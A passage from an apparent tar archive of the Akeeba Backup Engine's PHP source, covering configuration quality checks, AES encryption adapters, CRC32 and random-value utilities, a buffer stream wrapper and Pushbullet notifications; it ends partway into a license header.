	 * Q201 - MEDIUM - Outdated PHP version.
	 *
	 * We currently check for PHP lower than 8.0.
	 *
	 * @return  bool
	 */
	private function q201()
	{
		return version_compare(PHP_VERSION, '8.0.0', 'lt');
	}

	/**
	 * Q202 - MED  - CRC problems with hash extension not present
	 *
	 * @return  bool
	 */
	private function q202()
	{
		$registry = Factory::getConfiguration();
		$archiver = $registry->get('akeeba.advanced.archiver_engine');

		if ($archiver != 'zip')
		{
			return false;
		}

		return !function_exists('hash_file');
	}

	/**
	 * Q203 - MED  - Default output directory in use
	 *
	 * @return  bool
	 */
	private function q203()
	{
		$stock_dirs = Platform::getInstance()->get_stock_directories();

		$registry = Factory::getConfiguration();
		$outdir   = $registry->get('akeeba.basic.output_directory');

		foreach ($stock_dirs as $macro => $replacement)
		{
			$outdir = str_replace($macro, $replacement, $outdir);
		}

		$default = $stock_dirs['[DEFAULT_OUTPUT]'];

		$outdir  = Factory::getFilesystemTools()->TranslateWinPath($outdir);
		$default = Factory::getFilesystemTools()->TranslateWinPath($default);

		return $outdir == $default;
	}

	/**
	 * Q204 - MED  - Disabled functions may affect operation
	 *
	 * @return  bool
	 */
	private function q204()
	{
		$disabled = ini_get('disabled_functions');

		return (!empty($disabled));
	}

	/**
	 * Q401 - LOW  - ZIP format selected
	 *
	 * @return  bool
	 */
	private function q401()
	{
		$registry = Factory::getConfiguration();
		$archiver = $registry->get('akeeba.advanced.archiver_engine');

		return $archiver == 'zip';
	}

	private function _return_bytes($setting)
	{
		$val  = trim($setting);
		$last = strtolower(substr($val, -1));
		$val  = substr($val, 0, -1);

		if (is_numeric($last))
		{
			return $setting;
		}

		switch ($last)
		{
			case 't':
				$val *= 1024;
			case 'g':
				$val *= 1024;
			case 'm':
				$val *= 1024;
			case 'k':
				$val *= 1024;
		}

		return (int) $val;
	}
}
com_akeeba/BackupEngine/Util/AesAdapter/AdapterInterface.php000060400000007240152455305260020013 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util\AesAdapter;

defined('AKEEBAENGINE') || die();

/**
 * Interface for AES encryption adapters
 */
interface AdapterInterface
{
	/**
	 * Sets the AES encryption mode.
	 *
	 * WARNING: The strength is deprecated as it has a different effect in MCrypt and OpenSSL. MCrypt was abandoned in
	 * 2003 before the Rijndael-128 algorithm was officially the Advanced Encryption Standard (AES). MCrypt also offered
	 * Rijndael-192 and Rijndael-256 algorithms with different block sizes. These are NOT used in AES. OpenSSL, however,
	 * implements AES correctly. It always uses a 128-bit (16 byte) block. The 192 and 256 bit strengths refer to the
	 * key size, not the block size. Therefore using different strengths in MCrypt and OpenSSL will result in different
	 * and incompatible ciphertexts.
	 *
	 * TL;DR: Always use $strength = 128!
	 *
	 * @param   string  $mode      Choose between CBC (recommended) or ECB
	 * @param   int     $strength  Bit strength of the key (128, 192 or 256 bits). DEPRECATED. READ NOTES ABOVE.
	 *
	 * @return  mixed
	 */
	public function setEncryptionMode($mode = 'cbc', $strength = 128);

	/**
	 * Encrypts a string. Returns the raw binary ciphertext.
	 *
	 * WARNING: The plaintext is zero-padded to the algorithm's block size. You are advised to store the size of the
	 * plaintext and trim the string to that length upon decryption.
	 *
	 * @param   string       $plainText  The plaintext to encrypt
	 * @param   string       $key        The raw binary key (will be zero-padded or chopped if its size is different than the block size)
	 * @param   null|string  $iv         The initialization vector (for CBC mode algorithms)
	 *
	 * @return  string  The raw encrypted binary string.
	 */
	public function encrypt($plainText, $key, $iv = null);

	/**
	 * Decrypts a string. Returns the raw binary plaintext.
	 *
	 * $ciphertext MUST start with the IV followed by the ciphertext, even for EBC data (the first block of data is
	 * dropped in EBC mode since there is no concept of IV in EBC).
	 *
	 * WARNING: The returned plaintext is zero-padded to the algorithm's block size during encryption. You are advised
	 * to trim the string to the original plaintext's length upon decryption. While rtrim($decrypted, "\0") sounds
	 * appealing it's NOT the correct approach for binary data (zero bytes may actually be part of your plaintext, not
	 * just padding!).
	 *
	 * @param   string  $cipherText  The ciphertext to encrypt
	 * @param   string  $key         The raw binary key (will be zero-padded or chopped if its size is different than the block size)
	 *
	 * @return  string  The raw unencrypted binary string.
	 */
	public function decrypt($cipherText, $key);

	/**
	 * Returns the encryption block size in bytes
	 *
	 * @return  int
	 */
	public function getBlockSize();

	/**
	 * Is this adapter supported?
	 *
	 * @return  bool
	 */
	public function isSupported();
}
com_akeeba/BackupEngine/Util/AesAdapter/Mcrypt.php000060400000006630152455305260016072 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util\AesAdapter;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Util\RandomValue;

class Mcrypt extends AbstractAdapter implements AdapterInterface
{
	protected $cipherType = MCRYPT_RIJNDAEL_128;

	protected $cipherMode = MCRYPT_MODE_CBC;

	public function setEncryptionMode($mode = 'cbc', $strength = 128)
	{
		switch ((int) $strength)
		{
			default:
			case '128':
				$this->cipherType = MCRYPT_RIJNDAEL_128;
				break;

			case '192':
				$this->cipherType = MCRYPT_RIJNDAEL_192;
				break;

			case '256':
				$this->cipherType = MCRYPT_RIJNDAEL_256;
				break;
		}

		switch (strtolower($mode))
		{
			case 'ecb':
				$this->cipherMode = MCRYPT_MODE_ECB;
				break;

			default:
			case 'cbc':
				$this->cipherMode = MCRYPT_MODE_CBC;
				break;
		}

	}

	public function encrypt($plainText, $key, $iv = null)
	{
		$iv_size = $this->getBlockSize();
		$key     = $this->resizeKey($key, $iv_size);
		$iv      = $this->resizeKey($iv, $iv_size);

		if (empty($iv))
		{
			$randVal = new RandomValue();
			$iv      = $randVal->generate($iv_size);
		}

		$cipherText = mcrypt_encrypt($this->cipherType, $key, $plainText, $this->cipherMode, $iv);
		$cipherText = $iv . $cipherText;

		return $cipherText;
	}

	public function decrypt($cipherText, $key)
	{
		$iv_size    = $this->getBlockSize();
		$key        = $this->resizeKey($key, $iv_size);
		$iv         = substr($cipherText, 0, $iv_size);
		$cipherText = substr($cipherText, $iv_size);
		$plainText  = mcrypt_decrypt($this->cipherType, $key, $cipherText, $this->cipherMode, $iv);

		return $plainText;
	}

	public function isSupported()
	{
		if (!function_exists('mcrypt_get_key_size'))
		{
			return false;
		}

		if (!function_exists('mcrypt_get_iv_size'))
		{
			return false;
		}

		if (!function_exists('mcrypt_create_iv'))
		{
			return false;
		}

		if (!function_exists('mcrypt_encrypt'))
		{
			return false;
		}

		if (!function_exists('mcrypt_decrypt'))
		{
			return false;
		}

		if (!function_exists('mcrypt_list_algorithms'))
		{
			return false;
		}

		if (!function_exists('hash'))
		{
			return false;
		}

		if (!function_exists('hash_algos'))
		{
			return false;
		}

		$algorightms = mcrypt_list_algorithms();

		if (!in_array('rijndael-128', $algorightms))
		{
			return false;
		}

		if (!in_array('rijndael-192', $algorightms))
		{
			return false;
		}

		if (!in_array('rijndael-256', $algorightms))
		{
			return false;
		}

		$algorightms = hash_algos();

		if (!in_array('sha256', $algorightms))
		{
			return false;
		}

		return true;
	}

	public function getBlockSize()
	{
		return mcrypt_get_iv_size($this->cipherType, $this->cipherMode);
	}
}
com_akeeba/BackupEngine/Util/AesAdapter/AbstractAdapter.php000060400000004673152455305260017665 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util\AesAdapter;

defined('AKEEBAENGINE') || die();

/**
 * Abstract AES encryption class
 */
abstract class AbstractAdapter
{
	/**
	 * Trims or zero-pads a key / IV
	 *
	 * @param   string  $key   The key or IV to treat
	 * @param   int     $size  The block size of the currently used algorithm
	 *
	 * @return  null|string  Null if $key is null, treated string of $size byte length otherwise
	 */
	public function resizeKey($key, $size)
	{
		if (empty($key))
		{
			return null;
		}

		$keyLength = strlen($key);

		if (function_exists('mb_strlen'))
		{
			$keyLength = mb_strlen($key, 'ASCII');
		}

		if ($keyLength == $size)
		{
			return $key;
		}

		if ($keyLength > $size)
		{
			if (function_exists('mb_substr'))
			{
				return mb_substr($key, 0, $size, 'ASCII');
			}

			return substr($key, 0, $size);
		}

		return $key . str_repeat("\0", ($size - $keyLength));
	}

	/**
	 * Returns null bytes to append to the string so that it's zero padded to the specified block size
	 *
	 * @param   string  $string     The binary string which will be zero padded
	 * @param   int     $blockSize  The block size
	 *
	 * @return  string  The zero bytes to append to the string to zero pad it to $blockSize
	 */
	protected function getZeroPadding($string, $blockSize)
	{
		$stringSize = strlen($string);

		if (function_exists('mb_strlen'))
		{
			$stringSize = mb_strlen($string, 'ASCII');
		}

		if ($stringSize == $blockSize)
		{
			return '';
		}

		if ($stringSize < $blockSize)
		{
			return str_repeat("\0", $blockSize - $stringSize);
		}

		$paddingBytes = $stringSize % $blockSize;

		return str_repeat("\0", $blockSize - $paddingBytes);
	}
}
com_akeeba/BackupEngine/Util/AesAdapter/OpenSSL.php000060400000007547152455305260016107 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util\AesAdapter;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Util\RandomValue;

class OpenSSL extends AbstractAdapter implements AdapterInterface
{
	/**
	 * The OpenSSL options for encryption / decryption
	 *
	 * @var  int
	 */
	protected $openSSLOptions = 0;

	/**
	 * The encryption method to use
	 *
	 * @var  string
	 */
	protected $method = 'aes-128-cbc';

	public function __construct()
	{
		$this->openSSLOptions = OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING;
	}

	public function setEncryptionMode($mode = 'cbc', $strength = 128)
	{
		static $availableAlgorithms = null;
		static $defaultAlgo = 'aes-128-cbc';

		if (!is_array($availableAlgorithms))
		{
			$availableAlgorithms = openssl_get_cipher_methods();

			foreach ([
				         'aes-256-cbc', 'aes-256-ecb', 'aes-192-cbc',
				         'aes-192-ecb', 'aes-128-cbc', 'aes-128-ecb',
			         ] as $algo)
			{
				if (in_array($algo, $availableAlgorithms))
				{
					$defaultAlgo = $algo;
					break;
				}
			}
		}

		$strength = (int) $strength;
		$mode     = strtolower($mode);

		if (!in_array($strength, [128, 192, 256]))
		{
			$strength = 256;
		}

		if (!in_array($mode, ['cbc', 'ebc']))
		{
			$mode = 'cbc';
		}

		$algo = 'aes-' . $strength . '-' . $mode;

		if (!in_array($algo, $availableAlgorithms))
		{
			$algo = $defaultAlgo;
		}

		$this->method = $algo;
	}

	public function encrypt($plainText, $key, $iv = null)
	{
		$iv_size = $this->getBlockSize();
		$key     = $this->resizeKey($key, $iv_size);
		$iv      = $this->resizeKey($iv, $iv_size);

		if (empty($iv))
		{
			$randVal = new RandomValue();
			$iv      = $randVal->generate($iv_size);
		}

		$plainText  .= $this->getZeroPadding($plainText, $iv_size);
		$cipherText = openssl_encrypt($plainText, $this->method, $key, $this->openSSLOptions, $iv);
		$cipherText = $iv . $cipherText;

		return $cipherText;
	}

	public function decrypt($cipherText, $key)
	{
		$iv_size    = $this->getBlockSize();
		$key        = $this->resizeKey($key, $iv_size);
		$iv         = substr($cipherText, 0, $iv_size);
		$cipherText = substr($cipherText, $iv_size);
		$plainText  = openssl_decrypt($cipherText, $this->method, $key, $this->openSSLOptions, $iv);

		return $plainText;
	}

	public function isSupported()
	{
		if (!function_exists('openssl_get_cipher_methods'))
		{
			return false;
		}

		if (!function_exists('openssl_random_pseudo_bytes'))
		{
			return false;
		}

		if (!function_exists('openssl_cipher_iv_length'))
		{
			return false;
		}

		if (!function_exists('openssl_encrypt'))
		{
			return false;
		}

		if (!function_exists('openssl_decrypt'))
		{
			return false;
		}

		if (!function_exists('hash'))
		{
			return false;
		}

		if (!function_exists('hash_algos'))
		{
			return false;
		}

		$algorightms = openssl_get_cipher_methods();

		if (!in_array('aes-128-cbc', $algorightms))
		{
			return false;
		}

		$algorightms = hash_algos();

		if (!in_array('sha256', $algorightms))
		{
			return false;
		}

		return true;
	}

	/**
	 * @return int
	 */
	public function getBlockSize()
	{
		return openssl_cipher_iv_length($this->method);
	}
}
com_akeeba/BackupEngine/Util/CRC32.php000060400000006113152455305260013353 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2022 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Engine\Util;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;

/**
 * A handy class to abstract the calculation of CRC32 of files under various
 * server conditions and versions of PHP.
 */
class CRC32
{
	/**
	 * Returns the CRC32 of a file, selecting the more appropriate algorithm.
	 *
	 * @param   string   $filename                    Absolute path to the file being processed
	 * @param   integer  $AkeebaPackerZIP_CHUNK_SIZE  Obsoleted
	 *
	 * @return integer The CRC32 in numerical form
	 */
	public function crc32_file($filename, $AkeebaPackerZIP_CHUNK_SIZE)
	{
		static $configuration;

		if (!$configuration)
		{
			$configuration = Factory::getConfiguration();
		}

		$res = false;

		if (function_exists("hash_file"))
		{
			$res        = $this->crc32UsingHashExtension($filename);
			$calcMethod = 'HASH_FILE';
		}
		elseif (function_exists("file_get_contents") && (@filesize($filename) <= $AkeebaPackerZIP_CHUNK_SIZE))
		{
			$res        = $this->crc32Legacy($filename);
			$calcMethod = 'FILE_GET_CONTENTS';
		}
		else
		{
			$res        = 0;
			$calcMethod = 'FAKE - CANNOT CALCULATE';
		}

		if ($res === false)
		{
			$res = 0;

			Factory::getLog()->warning("File $filename - NOT READABLE: CRC32 IS WRONG!");
		}
		else
		{
			try
			{
				$humanReadable = dechex($res);
			}
			catch (\Throwable $e)
			{
			}

			if (($humanReadable ?? null) === null)
			{
				$temp = $res > 2147483647 ? -($res - 2147483648) : $res;
				$humanReadable = dechex($res);
			}

			Factory::getLog()->debug(sprintf("File %s - CRC32 = %s [%s]", $filename, $humanReadable ?? '(cannot display - you have a 32-bit version of PHP)', $calcMethod));
		}

		return $res;
	}

	/**
	 * Very efficient CRC32 calculation using the PHP 'hash' extension.
	 *
	 * @param   string  $filename  Absolute filepath
	 *
	 * @return integer The CRC32
	 */
	protected function crc32UsingHashExtension($filename)
	{
		// Detection of buggy PHP hosts
		static $mustInvert = null;

		if (is_null($mustInvert))
		{
			$test_crc   = @hash('crc32b', 'test', false);
			$mustInvert = (strtolower($test_crc) == '0c7e7fd8'); // Normally, it's D87F7E0C :)

			if ($mustInvert)
			{
				Factory::getLog()->warning('Your server has a buggy PHP version which produces inverted CRC32 values. Attempting a workaround. ZIP files may appear as corrupt.');
			}
		}

		$res = @hash_file('crc32b', $filename, false);

		if ($mustInvert)
		{
			// Workaround for buggy PHP versions (I think before 5.1.8) which produce inverted CRC32 sums
			$res2 = substr($res, 6, 2) . substr($res, 4, 2) . substr($res, 2, 2) . substr($res, 0, 2);
			$res  = $res2;
		}

		$res = hexdec($res);

		return $res;
	}

	/**
	 * A compatible CRC32 calculation using file_get_contents, utilizing immense amounts of RAM
	 *
	 * @param   string  $filename
	 *
	 * @return integer
	 */
	protected function crc32Legacy($filename)
	{
		return crc32(@file_get_contents($filename));
	}
}
com_akeeba/BackupEngine/Util/RandomValue.php000060400000010731152455305260015015 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util;

defined('AKEEBAENGINE') || die();

/**
 * Crypto-safe random value generator. Based on the Randval class of the Aura for PHP's Session package.
 * The following is the license file accompanying the original file.
 *
 * ********************************************************************************
 * Copyright (c) 2011-2016, Aura for PHP
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions are met:
 *
 * - Redistributions of source code must retain the above copyright notice, this
 * list of conditions and the following disclaimer.
 *
 * - Redistributions in binary form must reproduce the above copyright notice,
 * this list of conditions and the following disclaimer in the documentation
 * and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
 * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
 * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
 * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
 * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
 * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * ********************************************************************************
 *
 * Please note that this is a MODIFIED copy of the Randval class, mainly to allow it to be used on hosts
 * which lack both mbcrypt and OpenSSL PHP modules.
 */
class RandomValue
{
	/**
	 *
	 * Returns a cryptographically secure random value.
	 *
	 * @param   integer  $bytes  How many bytes to return
	 *
	 * @return  string
	 */
	public function generate($bytes = 32)
	{
		return random_bytes($bytes);
	}

	/**
	 * Generates a random string with the specified length. WARNING: You get to specify the number of
	 * random characters in the string, not the number of random bytes. The character pool is 64 characters
	 * (6 bits) long. The entropy of your string is 6 * $characters bits. This means that a random string
	 * of 32 characters has an entropy of 192 bits whereas a random sequence of 32 bytes returned by generate()
	 * has an entropy of 8 * 32 = 256 bits.
	 *
	 * @param   int    $characters    Number of characters
	 * @param   string $characterSet  Characters to pick from
	 *
	 * @return string
	 */
	public function generateString($characters = 32, $characterSet = 'abcdefghijklmnopqrstuvwxyz-ABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789')
	{
		$sourceString = str_split('abcdefghijklmnopqrstuvwxyz-ABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789', 1);
		$ret          = '';

		$bytes     = ceil($characters / 4) * 3;
		$randBytes = $this->generate($bytes);

		for ($i = 0; $i < $bytes; $i += 3)
		{
			$subBytes = substr($randBytes, $i, 3);
			$subBytes = str_split($subBytes, 1);
			$subBytes = ord($subBytes[0]) * 65536 + ord($subBytes[1]) * 256 + ord($subBytes[2]);
			$subBytes = $subBytes & bindec('00000000111111111111111111111111');

			$b    = [];
			$b[0] = $subBytes >> 18;
			$b[1] = ($subBytes >> 12) & bindec('111111');
			$b[2] = ($subBytes >> 6) & bindec('111111');
			$b[3] = $subBytes & bindec('111111');

			$ret .= $sourceString[$b[0]] . $sourceString[$b[1]] . $sourceString[$b[2]] . $sourceString[$b[3]];
		}

		return substr($ret, 0, $characters);
	}
}
com_akeeba/BackupEngine/Util/Buffer.php000060400000011316152455305260014011 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util;

defined('AKEEBAENGINE') || die();

/**
 * Generic Buffer stream handler
 *
 * This class provides a generic buffer stream.  It can be used to store/retrieve/manipulate
 * string buffers with the standard PHP filesystem I/O methods.
 */
class Buffer
{

	/**
	 * Stream position
	 *
	 * @var    integer
	 */
	public $position = 0;

	/**
	 * Buffer name
	 *
	 * @var    string
	 */
	public $name = null;

	/**
	 * Buffer hash
	 *
	 * @var    array
	 */
	public $_buffers = [];

	/**
	 * Function to open file or url
	 *
	 * @param   string   $path          The URL that was passed
	 * @param   string   $mode          Mode used to open the file @see fopen
	 * @param   integer  $options       Flags used by the API, may be STREAM_USE_PATH and
	 *                                  STREAM_REPORT_ERRORS
	 * @param   string  &$opened_path   Full path of the resource. Used with STREAM_USE_PATH option
	 *
	 * @return  boolean
	 *
	 * @see     streamWrapper::stream_open
	 */
	public function stream_open($path, $mode, $options, &$opened_path)
	{
		$url                         = parse_url($path);
		$this->name                  = $url["host"];
		$this->_buffers[$this->name] = null;
		$this->position              = 0;

		return true;
	}

	/**
	 * Read stream
	 *
	 * @param   integer  $count  How many bytes of data from the current position should be returned.
	 *
	 * @return  mixed    The data from the stream up to the specified number of bytes (all data if
	 *                   the total number of bytes in the stream is less than $count. Null if
	 *                   the stream is empty.
	 *
	 * @see     streamWrapper::stream_read
	 */
	public function stream_read($count)
	{
		$ret            = substr($this->_buffers[$this->name], $this->position, $count);
		$this->position += strlen($ret);

		return $ret;
	}

	/**
	 * Write stream
	 *
	 * @param   string  $data  The data to write to the stream.
	 *
	 * @return  integer
	 *
	 * @see     streamWrapper::stream_write
	 */
	public function stream_write($data)
	{
		$left                        = substr($this->_buffers[$this->name], 0, $this->position);
		$right                       = substr($this->_buffers[$this->name], $this->position + strlen($data));
		$this->_buffers[$this->name] = $left . $data . $right;
		$this->position              += strlen($data);

		return strlen($data);
	}

	/**
	 * Function to get the current position of the stream
	 *
	 * @return  integer
	 *
	 * @see     streamWrapper::stream_tell
	 */
	public function stream_tell()
	{
		return $this->position;
	}

	/**
	 * Function to test for end of file pointer
	 *
	 * @return  boolean  True if the pointer is at the end of the stream
	 *
	 * @see     streamWrapper::stream_eof
	 */
	public function stream_eof()
	{
		return $this->position >= strlen($this->_buffers[$this->name]);
	}

	/**
	 * The read write position updates in response to $offset and $whence
	 *
	 * @param   integer  $offset   The offset in bytes
	 * @param   integer  $whence   Position the offset is added to
	 *                             Options are SEEK_SET, SEEK_CUR, and SEEK_END
	 *
	 * @return  boolean  True if updated
	 *
	 * @see     streamWrapper::stream_seek
	 */
	public function stream_seek($offset, $whence)
	{
		switch ($whence)
		{
			case SEEK_SET:
				if ($offset < strlen($this->_buffers[$this->name]) && $offset >= 0)
				{
					$this->position = $offset;

					return true;
				}
				else
				{
					return false;
				}
				break;

			case SEEK_CUR:
				if ($offset >= 0)
				{
					$this->position += $offset;

					return true;
				}
				else
				{
					return false;
				}
				break;

			case SEEK_END:
				if (strlen($this->_buffers[$this->name]) + $offset >= 0)
				{
					$this->position = strlen($this->_buffers[$this->name]) + $offset;

					return true;
				}
				else
				{
					return false;
				}
				break;

			default:
				return false;
		}
	}
}

// Register the stream
stream_wrapper_register("buffer", Buffer::class);
com_akeeba/BackupEngine/Util/PushMessages.php000060400000010440152455305260015204 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Akeeba\Engine\Util\Pushbullet\Connector;
use Exception;

class PushMessages implements PushMessagesInterface
{
	/**
	 * The PushBullet connector
	 *
	 * @var Connector[]
	 */
	private $connectors = [];

	/**
	 * Should we send push messages?
	 *
	 * @var bool
	 */
	private $enabled = true;

	/**
	 * Creates the push messaging object
	 */
	public function __construct()
	{
		$pushPreference = Platform::getInstance()->get_platform_configuration_option('push_preference', '0');
		$apiKey         = Platform::getInstance()->get_platform_configuration_option('push_apikey', '');

		// No API key? No push messages are enabled, so no point continuing really...
		if (empty($apiKey))
		{
			$pushPreference = 0;
		}

		// We use a switch in case we add support for more push APIs in the future. The push_preference platform
		// option will tell us which service to use. In that case we'll have to refactor this class, but the public
		// API will remain the same.
		switch ($pushPreference)
		{
			default:
			case 0:
				$this->enabled = false;
				break;

			case 1:
				$keys = explode(',', $apiKey);
				$keys = array_map('trim', $keys);

				foreach ($keys as $key)
				{
					try
					{
						$connector = new Connector($key);
						$connector->getDevices();
						$this->connectors[] = $connector;
					}
					catch (Exception $e)
					{
						Factory::getLog()->warning("Push messages cannot be sent with API key $key. Error received when trying to establish PushBullet connection: " . $e->getMessage());
					}
				}

				if (empty($this->connectors))
				{
					Factory::getLog()->warning('No push messages can be sent: none of the provided API keys is usable. Push messages have been deactivated.');

					$this->enabled = false;
				}

				break;
		}
	}

	/**
	 * Sends a push message to all connected devices. The intent is to provide the user with an information message,
	 * e.g. notify them about the progress of the backup.
	 *
	 * @param   string  $subject  The subject of the message, shown in the lock screen. Keep it short.
	 * @param   string  $details  Long(er) description of what the message is about. Plain text (no HTML).
	 *
	 * @return  void
	 */
	public function message($subject, $details = null)
	{
		if (!$this->enabled)
		{
			return;
		}

		foreach ($this->connectors as $connector)
		{
			try
			{
				$connector->pushNote('', $subject, $details);
			}
			catch (Exception $e)
			{
				Factory::getLog()->warning('Push messages suspended. Error received when trying to send push message:' . $e->getMessage());
				$this->enabled = false;
			}
		}
	}

	/**
	 * Sends a push message, containing a URL/URI, to all connected devices. The URL will be rendered as something
	 * clickable on most devices.
	 *
	 * @param   string  $url      The URL/URI
	 * @param   string  $subject  The subject of the message, shown in the lock screen. Keep it short.
	 * @param   string  $details  Long(er) description of what the message is about. Plain text (no HTML).
	 *
	 * @return  void
	 */
	public function link($url, $subject, $details = null)
	{
		if (!$this->enabled)
		{
			return;
		}

		foreach ($this->connectors as $connector)
		{
			try
			{
				$connector->pushLink('', $subject, $url, $details);
			}
			catch (Exception $e)
			{
				Factory::getLog()->warning('Push messages suspended. Error received when trying to send push message with a link:' . $e->getMessage());
				$this->enabled = false;
			}
		}
	}
}
com_akeeba/BackupEngine/Util/ParseIni.php000060400000017564152455305260014325 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
